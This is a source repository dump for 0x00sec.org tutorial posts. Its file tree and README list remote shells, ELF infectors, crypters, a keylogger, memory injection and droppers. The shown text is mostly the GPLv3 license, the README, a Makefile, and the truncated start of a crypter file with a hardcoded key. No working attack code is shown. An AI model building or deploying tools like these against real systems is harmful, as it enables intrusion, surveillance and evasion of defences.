├── LICENSE ├── README.md ├── crypter ├── Makefile ├── crypter_rt.c ├── polycrypt.c └── prog.c ├── elfpie ├── Makefile ├── elfpie_infect.c └── plpie.asm ├── elfun ├── Makefile ├── elf_infect.c └── payload.asm ├── ibi_crypter ├── LICENSE ├── Makefile ├── crypter_rt.c ├── stub.c ├── stub.h └── target.c ├── keylogger ├── Makefile └── record.c ├── mem_inject ├── Makefile ├── infect.c ├── s64-1.asm └── target.c ├── min_dropper ├── Makefile ├── cooldumper.c ├── edumper.c ├── fwget.asm ├── fwget1.1.asm ├── fwget1.2.asm ├── fwget1.3.asm ├── fwget1.4.asm ├── fwget1.asm ├── minios.s ├── nwget.c ├── nwget1.c ├── nwget_basic.c └── pwget.asm ├── pranks └── prank.c ├── proxies ├── Makefile ├── proxify.c └── proxy.c ├── remote_shell ├── Makefile ├── irs ├── irs.c ├── rs1 ├── rs1.c ├── rss ├── rss.c └── rss1.c ├── sdropper ├── Makefile ├── poc-alt.c └── poc-net.c └── vpn ├── Makefile └── vpn.c /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Source Code for 0x00sec.org posts 2 | 3 | This repository contains the source code for my posts at 0x00sec.org. 4 | 5 | ## Remote Shell 6 | Post available at: 7 | 8 | Part I : https://0x00sec.org/t/remote-shells-part-i/269/1 9 | 10 | Part II. Crypt your link: https://0x00sec.org/t/remote-shells-part-ii-crypt-your-link/306 11 | 12 | Source code at `remote_shell` 13 | 14 | Part III. Shell Access your Phone : https://0x00sec.org/t/remote-shells-part-iii-shell-access-your-phone/508 15 | 16 | Source code at `remote_shell` 17 | 18 | Part IV. The Invisible Remote Shell : https://0x00sec.org/t/remote-shells-part-iv-the-invisible-remote-shell/743 19 | 20 | Source code at `remote_shell` 21 | 22 | ## ELFun... having fun with ELF 23 | Post available at: 24 | 25 | https://0x00sec.org/t/elfun-file-injector/410 26 | 27 | Source code at elfun 28 | 29 | ## How does those hacker's tools work?. 30 | 31 | ProxyChains: 32 | 33 | https://0x00sec.org/t/how-does-those-hackers-tools-work-proxychains/426 34 | 35 | Source code at proxies 36 | 37 | 38 | VPNs: 39 | 40 | source code at vpn 41 | 42 | # Crypters 43 | 44 | Simple Linux Crypter : https://0x00sec.org/t/a-simple-linux-crypter/537 45 | 46 | PolyCrypt. Experiments on Self-Modifying Programs : https://0x00sec.org/t/polycrypt-experiments-on-self-modifying-programs/857 47 | 48 | Source code at crypter 49 | 50 | IbI Crypter. Instruction By Instruction Crypter PoC: https://0x00sec.org/t/ibi-crypter-a-jit-crypter-poc/1373 51 | 52 | source code at `ibi_crypter` 53 | # CyberPranks 54 | 55 | https://0x00sec.org/t/pranks-keep-calm-and-do-not-move-your-mouse/853 56 | 57 | Source code at pranks 58 | 59 | 60 | # Memory Injection 61 | 62 | https://0x00sec.org/t/linux-infecting-running-processes/1097 63 | Source code at `mem_inject` 64 | 65 | # Minimal Dropper 66 | 67 | Paper not published yet 68 | Dource code at `min_dropper` 69 | . 70 | 71 | -------------------------------------------------------------------------------- /crypter/Makefile: -------------------------------------------------------------------------------- 1 | all:prog crypter_rt polycrypt 2 | 3 | crypter_rt:crypter_rt.c 4 | ${CC} ${CFLAGS} -Wall -o $@ $< 5 | 6 | prog:prog.c 7 | ${CC} ${CFLAGS} -Wall -o $@ $< 8 | 9 | polycrypt:polycrypt.c 10 | ${CC} ${CFLAGS} -Wall -o $@ $< 11 | .PHONY: 12 | clean: 13 | rm prog crypter_rt polycrypt 14 | -------------------------------------------------------------------------------- /crypter/crypter_rt.c: -------------------------------------------------------------------------------- 1 | /* 2 | Simple Linux Crypter 3 | Copyright (c) 2016 picoFlamingo 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | */ 18 | 19 | /************************************************************* 20 | Read the post at 0x00sec.org 21 | https://0x00sec.org/t/a-simple-linux-crypter/537 22 | **********************************************************************/ 23 | 24 | #include 25 | #include 26 | #include 27 | 28 | 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | 35 | #define KEY_MASK 0x7 36 | static char key[8] ="ABCDEFGH"; 37 | 38 | #define DIE(s) 